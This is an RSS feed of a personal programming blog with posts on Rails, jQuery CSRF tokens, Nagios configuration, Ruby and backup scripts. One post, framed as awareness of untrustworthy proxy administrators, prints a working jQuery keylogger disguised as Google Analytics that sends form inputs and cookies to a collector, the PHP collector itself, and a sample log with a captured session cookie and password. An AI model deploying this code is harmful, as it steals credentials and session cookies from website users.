<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Makl Ndrix &#187; code</title>
	<atom:link href="http://michaelhendrickx.com/category/code/feed" rel="self" type="application/rss+xml" />
	<link>http://michaelhendrickx.com</link>
	<description>may contain traces of nuts</description>
	<lastBuildDate>Thu, 17 May 2012 21:03:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Rails, what&#8217;s wrong with serving static JS and CSS files?</title>
		<link>http://michaelhendrickx.com/201110_rails-whats-wrong-with-serving-static-js-and-css-files.html</link>
		<comments>http://michaelhendrickx.com/201110_rails-whats-wrong-with-serving-static-js-and-css-files.html#comments</comments>
		<pubDate>Tue, 04 Oct 2011 21:40:32 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[rails]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=507</guid>
		<description><![CDATA[For a new web project, I&#8217;ve been looking at Rails 3.1, the latest update of the popular Ruby on Rails web application framework. Although I just started on it, and haven&#8217;t seen all the goodness, one thing that raised my eyebrows is how static content a la CSS and JavaScript is handled, through an asset [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/201110_rails-whats-wrong-with-serving-static-js-and-css-files.html' addthis:title='Rails, what&#8217;s wrong with serving static JS and CSS files?'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2011/10/jabba.jpeg" alt="" title="jabba" width="115" height="114" class="alignright size-full wp-image-509" align="right" />For a new web project, I&#8217;ve been looking at <a title="Ruby on Rails" href="http://rubyonrails.org/">Rails 3.1</a>, the latest update of the popular Ruby on Rails web application framework.</p>
<p>Although I just started on it, and haven&#8217;t seen all the goodness, one thing that raised my eyebrows is how static content a la CSS and JavaScript is handled, through an <a href="http://edgeguides.rubyonrails.org/asset_pipeline.html">asset pipeline</a>.</p>
<p>In a nutshell, since I&#8217;m doing the JQuery bit of the site now, wouldn&#8217;t it make much more sense to fetch the libraries from CDN&#8217;s, cache the remaining recurring libraries in Nginx (or Apache), and leaving the page specific bits in one big &lt;script&gt; tag, instead of pushing all in a bloated application.js page?</p>
<p>Then again, although I think Rails was what the web community needed, I always had <a href="http://michaelhendrickx.com/200907_are-web-frameworks-really-worth-it.html">my ideas</a> about frameworks.</p>
<p>Thanks,<br />
Michael</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201110_rails-whats-wrong-with-serving-static-js-and-css-files.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>JQlog: JQuery Keylogger, or why not to trust your proxy admin.</title>
		<link>http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html</link>
		<comments>http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html#comments</comments>
		<pubDate>Mon, 06 Jun 2011 07:55:13 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jkeylog]]></category>
		<category><![CDATA[jqlog]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[key logger]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=453</guid>
		<description><![CDATA[Note that this post is for awareness and educational purposes only. I do not encourage, and cannot be held responsible for malicious actions using these tools. The Internet, as it is today, is a mash-up of JavaScript enabled services, often included from external websites. Internet companies offer so-called widgets, which are JavaScript tools that can [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html' addthis:title='JQlog: JQuery Keylogger, or why not to trust your proxy admin.'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<div style="color:#808080;padding:5px 20px">
<em>Note that this post is for awareness and educational purposes only.  I do not encourage, and cannot be held responsible for malicious actions using these tools.</em></div>
<p>The Internet, as it is today, is a mash-up of JavaScript enabled services, often included from external websites.  Internet companies offer so-called widgets, which are JavaScript tools that can be used in your own page.  Popular examples of this are site analytics (Omniture, Google Analytics, etc) or share-abilities (AddThis, AddToAny, &#8230;).  It&#8217;s by overwriting Javascript libraries on a page, that we can do other things, such as recording keystrokes.</p>
<p>&#8220;Overwriting&#8221; javascript libraries, or rather &#8220;inserting javascript&#8221; can be done in several ways.  Cross Site Scripting is one of them, but for the sake of this blog post, I will act as a malicious proxy administrator, and overwrite the Google Analytics DNS entry (www.google-analytics.com) and &#8220;fake&#8221; the ga.js javascript file.</p>
<p><img src="http://michaelhendrickx.com/wp-content/uploads/2011/06/jq2.jpg" alt="" title="jq(2)" width="627" height="223" class="aligncenter size-full wp-image-459" /></p>
<p>For this, you&#8217;d need only 2 files:</p>
<ul>
<li><a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/ga.js'>Javascript keylogger</a></li>
<li><a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/dump.php_.txt'>PHP backend script</a></li>
</ul>
<p>This javascript file, found <a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/ga.js'>here</a>, holds 3 parts: JQuery, a base64 encoder and the keylogger code itself: <span id="more-453"></span></p>
<div style="border:1px solid #c0c0c0;padding:10px">
<pre>var t = "http://www.google-analytics.com/dump.php?a=";
jQuery(document).ready(function(){
  jQuery("form").submit(function(){
    var o = {};
    o.location = document.location.href;
    o.cookie = document.cookie;
    jQuery(":input").each(function(index){
      o[jQuery(this).attr("name")]=jQuery(this).val()
    });
    var u = t + Base64.encode(JSON.stringify(o));
    jQuery.getScript(u);
  });
});</pre>
</div>
<p>Upon a &#8220;form submit&#8221; event, the current URL, the current cookie and all the page &lt;input&gt; fields are stored in a JSON object.  This is Base64 encoded and passed on to a defined URL (<strong>http://www.google-analytics.com/dump.php?a=</strong> in this above case).</p>
<div style="color:#808080;padding:10px 20px">
<em>Functions such as $.ajax() or $.post() would not work due to cross-domain limitations.  Henceforth, I used $.getScript to pass on the data to an external URL.  </em>
</div>
<p>The data is pushed, in a Base64 encoded JSON object to an external script; dump.php in my case.  This script (<a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/dump.php_.txt'>here</a>) stores the current date, and a dump of all passed on variables in a defined text file.</p>
<div style="border:1px solid #c0c0c0;padding:10px">
<pre>
  $obj = json_decode(base64_decode($_GET["a"]));
  $fileName = "dump.txt";
  $f = fopen($fileName, 'a');
  fwrite($f, "on ".date("d M y, h:i:s")."\n\n");
  foreach($obj as $i=>$j){ fwrite($f, $i." : ".$j."\n"); }
  fwrite($f, "-----------------------------------------------------\n");
  fclose($f);
</pre>
</div>
<p>Since it decodes a JSON object, dump.php will require JSON support, this can be installed using <a href="http://pear.php.net/">pear</a>.  Debian, it&#8217;s done using the following:</p>
<pre>
  apt-get install php-pear
  pear install Services_JSON</pre>
<p>To verify this, you will see a JSON entry in the phpinfo() output.</p>
<p>When all is setup correctly (virtual host, /etc/hosts file changes, correct permissions for the dump.txt file to be created), all &lt;form&gt; submits should be recorded in the text file, in the form of:</p>
<pre style="padding-left:20px">
on 06 Jun 11, 07:28:06
location : http://7days.ae/
cookie : SESS13752b3ab7d6...
<strong>name : user
pass : secret1552</strong>
_empty_ : Password
op :
form_build_id : form-00db26143485eac73953183a0e4170b6
form_id : search_form
search_theme_form : Search Keywords
default_text :
</pre>
<p>No, this is no hack against Google Analytics or 7days, the latter is  something that would <a href="http://michaelhendrickx.com/201104_7days-meta-refresh-hack.html">look slightly different</a>.  <img src='http://michaelhendrickx.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Although this example uses Google Analytics, it could be used for many other &#8220;popular&#8221; javascripts that are included in terms of widgets.  The handy things about Google Analytics is that it&#8217;s invisible to the user whether it is loaded or not.  </p>
<p>Using a proxy server, even a transparent one can have its risks, this post just illustrates one of them.  Always make sure you can trust your proxy administrators.</p>
<p>Thank you,<br />
Michael</p>
<p>PS: these scripts are far from perfect, they don&#8217;t trap XHR requests and many other things, but it gets the point across.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>JQuery AJAX with Rails&#8217; authenticity token</title>
		<link>http://michaelhendrickx.com/201012_jquery-ajax-with-rails-authenticity-token.html</link>
		<comments>http://michaelhendrickx.com/201012_jquery-ajax-with-rails-authenticity-token.html#comments</comments>
		<pubDate>Tue, 07 Dec 2010 06:35:52 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[rails]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[ruby on rails]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=399</guid>
		<description><![CDATA[In Ruby on Rails, authenticity tokens are generated to prevent CSRF (Cross Site Request Forgery) attacks. These tokens generate a unique &#8220;identifier&#8221; to prevent other website from making requests on your behalf, or so-called &#8220;session riding&#8221;. In Ruby on Rails, to have this identifier available for you, you need to put in your view, usually [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/201012_jquery-ajax-with-rails-authenticity-token.html' addthis:title='JQuery AJAX with Rails&#8217; authenticity token'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2010/12/bulldog.png" alt="" title="bulldog" width="178" height="173" align="right" class="alignright size-full wp-image-404" />In Ruby on Rails, authenticity tokens are generated to <a href="http://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection.html">prevent</a> CSRF (Cross Site Request Forgery) attacks.  These tokens generate a unique &#8220;identifier&#8221; to prevent other website from making requests on your behalf, or so-called &#8220;session riding&#8221;.</p>
<p>In Ruby on Rails, to have this identifier available for you, you need to put <strong><%= csrf_meta_tag %></strong> in your view, usually in <em>app/views/layouts/application.html.erb</em>.  This tag creates something like:</p>
<blockquote><p>
&lt;meta name=&#8221;csrf-param&#8221; content=&#8221;authenticity_token&#8221;/&gt;<br />
&lt;meta name=&#8221;csrf-token&#8221; content=&#8221;uDDuQj14CCJ&#8230;&#8221;&gt;
</p></blockquote>
<p>If you create your own AJAX functions, say with <a href="http://www.jquery.com">JQuery</a>, you would need these values in order to have rails handle your request.  This can be done using the following:</p>
<blockquote><p>
  var param =  $(‘meta[name=csrf-token]‘).attr(‘content’);
</p></blockquote>
<p>Which you can use then in your AJAX requests</p>
<blockquote><p>  $.post(&#8216;/post&#8217;, { body: $(&#8216;#post_body&#8217;).val(), authenticity_token: param }, function(data){<br />
    var ret =  jQuery.parseJSON(data);<br />
    if(ret.status==&#8221;ok&#8221;) {<br />
      &#8230;
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201012_jquery-ajax-with-rails-authenticity-token.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Spaces, or parentheses are important</title>
		<link>http://michaelhendrickx.com/201011_spaces-or-parentheses-are-important.html</link>
		<comments>http://michaelhendrickx.com/201011_spaces-or-parentheses-are-important.html#comments</comments>
		<pubDate>Sun, 07 Nov 2010 09:29:17 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[rails]]></category>
		<category><![CDATA[ruby on rails]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=369</guid>
		<description><![CDATA[In Rails, j = points.size -1 is not equal to j = points.size - 1 Wouldn&#8217;t it be easier if Parentheses were mandatory, so that we could see the difference between: j = points.size -1 and j = points.size(-1)<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/201011_spaces-or-parentheses-are-important.html' addthis:title='Spaces, or parentheses are important'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>In Rails,</p>
<pre>    j = points.size -1</pre>
<p>is not equal to</p>
<pre>    j = points.size - 1</pre>
<p>Wouldn&#8217;t it be easier if Parentheses were mandatory, so that we could see the difference between:</p>
<pre>    j = points.size -1</pre>
<p>and</p>
<pre>    j = points.size(-1)</pre>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201011_spaces-or-parentheses-are-important.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FacebookError: OAuthException &#8211; Invalid OAuth access token</title>
		<link>http://michaelhendrickx.com/201009_facebookerror-oauthexception-invalid-oauth-access-token.html</link>
		<comments>http://michaelhendrickx.com/201009_facebookerror-oauthexception-invalid-oauth-access-token.html#comments</comments>
		<pubDate>Wed, 29 Sep 2010 12:17:01 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[misc]]></category>
		<category><![CDATA[rails]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=357</guid>
		<description><![CDATA[On places.ae, we got notified of some issues with Facebook signups and logins. All of the sudden, when the Facebook OAuth service pushed us back to our redirect-page, the HyperGraph Gem threw the following error: FacebookError: OAuthException &#8211; Invalid OAuth access token This is often thrown because the Access Token could contain a &#124; (pipe) [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/201009_facebookerror-oauthexception-invalid-oauth-access-token.html' addthis:title='FacebookError: OAuthException &#8211; Invalid OAuth access token'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2010/09/hand.jpeg" alt="" title="hand" width="155" height="180" align="right" />On <a href="http://www.places.ae/">places.ae</a>, we got notified of some issues with Facebook signups and logins.  All of the sudden, when the Facebook OAuth service pushed us back to our redirect-page, the <a href="http://github.com/chrisdinn/hyper-graph">HyperGraph</a> Gem threw the following error:</p>
<blockquote><p>FacebookError: OAuthException &#8211; Invalid OAuth access token</p></blockquote>
<p>This is often thrown because the Access Token could contain a | (pipe) character, which gets encoded to <strong>%7C</strong>, and this makes HyperGraph choke a bit.   So a simple gsub(&#8216;%7C&#8217;,'|&#8217;) will solve it, such as the code below:</p>
<blockquote><p>
at = HyperGraph.get_access_token(FB_ID, FB_SECRET, FB_RET, code)<br />
<strong>at = at.gsub(&#8216;%7C&#8217;,'|&#8217;)</strong><br />
g = HyperGraph.new(at)<br />
me = g.get(&#8216;me&#8217;)
</p></blockquote>
<p>Thanks,<br />
Michael</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201009_facebookerror-oauthexception-invalid-oauth-access-token.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>nnscfgmaker.sh: a nagios/nsclient++ cfg maker</title>
		<link>http://michaelhendrickx.com/201001_nnscfgmaker-sh-a-nagiosnsclient-cfg-maker.html</link>
		<comments>http://michaelhendrickx.com/201001_nnscfgmaker-sh-a-nagiosnsclient-cfg-maker.html#comments</comments>
		<pubDate>Thu, 28 Jan 2010 14:27:42 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[misc]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[nagios]]></category>
		<category><![CDATA[zenoss]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=241</guid>
		<description><![CDATA[Dear all, We are in the process of changing the monitoring system on part of our network from Zenoss to Nagios. This is not a Zenoss vs. Nagios debate, as both products are awesome and do the things they are designed for very well. We (Christian and myself) use a combination of Cacti for bandwith [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/201001_nnscfgmaker-sh-a-nagiosnsclient-cfg-maker.html' addthis:title='nnscfgmaker.sh: a nagios/nsclient++ cfg maker'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2010/01/nagios.jpg" alt="" title="nagios" width="150" height="114" align="right" />Dear all,</p>
<p>We are in the process of changing the monitoring system on part of our network from Zenoss to Nagios.  This is not a Zenoss vs. Nagios debate, as both products are awesome and do the things they are designed for very well.  We (<a href="http://ae.linkedin.com/in/certifiedgeek">Christian</a> and myself) use a combination of <a href="http://www.cacti.net">Cacti</a> for bandwith monitoring and <a href="http://www.zenoss.com">Zenoss</a> for server and device monitoring.  Now, recently we decided to change the latter to <a href="http://www.nagios.org/">Nagios</a>.  It is know for its &#8220;great deal of flexibility when integrating Nagios into their environment&#8221; (Galstad, 2005)</p>
<p>As Zenoss was configured using <a href="http://www.snmp-informant.com/">SNMP Informant</a> to grab information about the MS Windows servers (available disk space, CPU load, etc) and Nagios uses <a href="http://nsclient.org/">NSClient++</a>; one of the time consuming tasks was getting the client on the server (thank you domain <img src='http://michaelhendrickx.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ) and configuring each and every server on the Nagios server.  I guess there should be some sort of discovery tool for Nagios, but I couldn&#8217;t directly find one.  </p>
<p>In order to tackle the copy-pasting for a few dozen config files, and to brush up my bash scripting again, I wrote the <strong>Nagios Nsclient++ cfg maker</strong><span id="more-241"></span>, yeah, what&#8217;s in a name eh.  This client enumerates the target server about what is installed and makes a CFG file based on that.  Oh yeah, we&#8217;re using nagios with its text files, not the SQL version.</p>
<p>You can download it <a href='http://michaelhendrickx.com/wp-content/uploads/2010/01/nnscfgmaker.sh' >here (bash script)</a>.  As it&#8217;s GPL&#8217;d, feel free to change and redistribute it.  As we mainly house HP servers, APC UPS&#8217;s and most of them run Windows (for now, <em>evil laugh</em>), so it&#8217;s a bit windows/hp minded.</p>
<p>The syntax is very easy, just run the script with the hostname of the server that you want to &#8220;enumerate&#8221;.  Doing that, you&#8217;ll have something similar as the output below:</p>
<pre>
mike@mon:/usr/local/nagios/etc/servers$ ./nnscfgmaker.sh server2
Nagios NSclient++ (check_nt) CFG maker

 + logfile: server2.cfg
 + pinging the server.. ok
 + checking of nsclient++ is installed
 + adding hdd c:\
 + adding hdd e:\
 + adding hdd f:\
 + adding hdd g:\
 + adding hdd h:\
 + adding hdd i:\
 + adding process: MS SQL Server (sqlservr.exe)
 + adding service: Automatic Updates (wuauserv)
 + adding service: DNS Client (DNSCache)
 + adding service: Event Log (Eventlog)
 + adding service: Messenger (Messenger)
 + adding service: Server Service (lanmanserver)
 + adding service: Windows Time (w32time)
 + adding service: SNMP service (SNMP)
 + adding service: HP OpenView Ctrl Service (ovctrl)
 + adding service: Backup Exec Server (BackupExecRPCService)
 + adding service: HP Insight Server Agent (CqMgServ)
 + adding service: HP Insight NIC Agent (CpqNicMgmt)
 + adding service: HP Insight Storage Agent (CqMgStor)
 + adding service: TrendMicro OfficeScan NT Listener (tmlisten)
 + adding service: Trendmicro Antivirus RealTime Scan (ntrtscan)
 - done

mike@mon:/usr/local/nagios/etc/servers$
</pre>
<p>This creates a files called server2.cfg, which Nagios can read and process.</p>
<p>Hope you like it, let me know if you have any questions or comments.</p>
<p>Take care,<br />
Michael</p>
<p><span style="color:#808080">Ethan Galstad (2005), Nagios. [online] Available from: <a href="http://archive.fosdem.org/2005/index/interviews/interviews_galstad.html">http://archive.fosdem.org/2005/index/interviews/interviews_galstad.html</a> (Accessed: 28 Jan 2010)</span></p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201001_nnscfgmaker-sh-a-nagiosnsclient-cfg-maker.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Find &#8220;similar things&#8221; in Ruby</title>
		<link>http://michaelhendrickx.com/200908_find-similar-things-in-ruby.html</link>
		<comments>http://michaelhendrickx.com/200908_find-similar-things-in-ruby.html#comments</comments>
		<pubDate>Sat, 29 Aug 2009 12:46:07 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[ror]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[ruby on rails]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=189</guid>
		<description><![CDATA[For several Ruby on Rails projects I had to come up with &#8220;similar&#8221; results. These are often results (video&#8217;s, products,places, hobbies, etc) with the greatest number of tags. Say, you are tagging car pictures on a website, and have the following: image1.jpg -> ["honda","s2000","convertible","black"] image2.jpg -> ["honda","civic","blue"] image3.jpg -> ["lexus","is300","blue"] image4.jpg -> ["s2000","honda","convertible","silver"] image5.jpg -> [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/200908_find-similar-things-in-ruby.html' addthis:title='Find &#8220;similar things&#8221; in Ruby'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2009/08/ruby.jpeg" alt="ruby" title="ruby" width="123" height="96" class="alignright size-full wp-image-193" />For several Ruby on Rails projects I had to come up with &#8220;similar&#8221; results.  These are often results (video&#8217;s, products,<a href="http://places.ae/">places</a>, hobbies, etc) with the greatest number of tags.</p>
<p>Say, you are <em>tagging</em> car pictures on a website, and have the following:</p>
<p>image1.jpg -> ["honda","s2000","convertible","black"]<br />
image2.jpg -> ["honda","civic","blue"]<br />
image3.jpg -> ["lexus","is300","blue"]<br />
image4.jpg -> ["s2000","honda","convertible","silver"]<br />
image5.jpg -> ["toyota","starlet","black"]</p>
<p>Seeing this, you&#8217;d know that image1.jpg and image4.jpg are similar pictures.  Or rather &#8220;more similar&#8221; than , say, image1.jpg and image3.jpg.  For this, I wrote below snippet of code.  This goes in the model file, and can be called as &#8220;object.similar&#8221;.  It returns an array of similar &#8220;things&#8221;, sorted on most similar to less similar (hence the results.reverse at the end) </p>
<p>For example:<br />
<strong>
<pre>
  img = Image.find(params[:id])
  @similar_images = img.similar[0..10]
</pre>
<p></strong></p>
<p>Will give you the 10 &#8220;most similar&#8221; images as img.  Well, it gives you the files with the most similar tags.</p>
<pre>
def similar
  tags = self.tags
  results = []
  tags.each do |tag|
    results = results + tag.pictures # or tag.things, tag.products, ...
    results.delete(self)
  end

  # make array into hash
  h = Hash.new
  results.each do |r|
    h[r] = h[r].to_i + 1
  end

  # sort on values
  tmp = h.sort {|a,b| a[1]<=>b[1]}
  results = []
  tmp.each do |t|
    results << t[0]
  end

  results.reverse # return all items, products, ...
end
</pre>
<p>This was written for a new <a href="http://habibi.ae">project coming up</a>, and will be used to do better "similarities matching" for <a href="http://places.ae">places.ae</a>, though for the latter we also had to sort on distance.  (For it's vicinity)</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/200908_find-similar-things-in-ruby.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tar based incremental backups</title>
		<link>http://michaelhendrickx.com/200907_tar-based-incremental-backups.html</link>
		<comments>http://michaelhendrickx.com/200907_tar-based-incremental-backups.html#comments</comments>
		<pubDate>Wed, 01 Jul 2009 10:04:28 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=162</guid>
		<description><![CDATA[A small bash script I wrote to have incremental backups done on a unix server, and then pushed to a Windows File system. On the fileserver, we add this directory to the normal backup. This is on a mail server, where emails are stored in MailDir format. We create weekly full backups on sunday, and [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/200907_tar-based-incremental-backups.html' addthis:title='Tar based incremental backups'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>A small bash script I wrote to have incremental backups done on a unix server, and then pushed to a Windows File system.  On the fileserver, we add this directory to the normal backup.</p>
<p>This is on a mail server, where emails are stored in <a href="http://en.wikipedia.org/wiki/Maildir">MailDir</a> format.  We create weekly full backups on sunday, and daily incremental.  This script is called daily at night from a cron job.  Gotta love the scripting abilities of bash.</p>
<p>It might help you out, so here goes:</p>
<pre>
#!/bin/bash
# backup script is doing following items
# dump all incremental email into a backup file, gzip the backup file and
# move the file to an external file server

START_TIME=`/bin/date`
echo "backup started at: ${START_TIME}"

DOW_N=`/bin/date +"%w"` # number, 0 (sun), 1 (mon)
DOW_T=`/bin/date +"%F"`

TO_BACKUP="/opt/maildata/"
TEMP_FILE="/tmp/${DOW_T}_mail_backup.tar"
BACKUP_LOG="/tmp/mail.backup"
FILE_SERVER="/mnt/fileserver/" # mounted over SMB

# if it's a sunday, delete the incremental file and take a full backup
if [ ${DOW_N} -eq "0" ]; then
  /bin/rm ${BACKUP_LOG}
fi

/bin/tar -c -f ${TEMP_FILE} --listed-incremental=${BACKUP_LOG} ${TO_BACKUP}
/bin/gzip -f ${TEMP_FILE}
FILE_SIZE=`/bin/ls -lah ${TEMP_FILE}.gz | awk '{ print $5 }'`
/bin/mv ${TEMP_FILE}.gz ${FILE_SERVER}

## report, this goes in an email through cron
END_TIME=`/bin/date`; export END_TIME
echo "backup ended at: ${END_TIME}"
echo "data moved: ${FILE_SIZE}"
</pre>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/200907_tar-based-incremental-backups.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

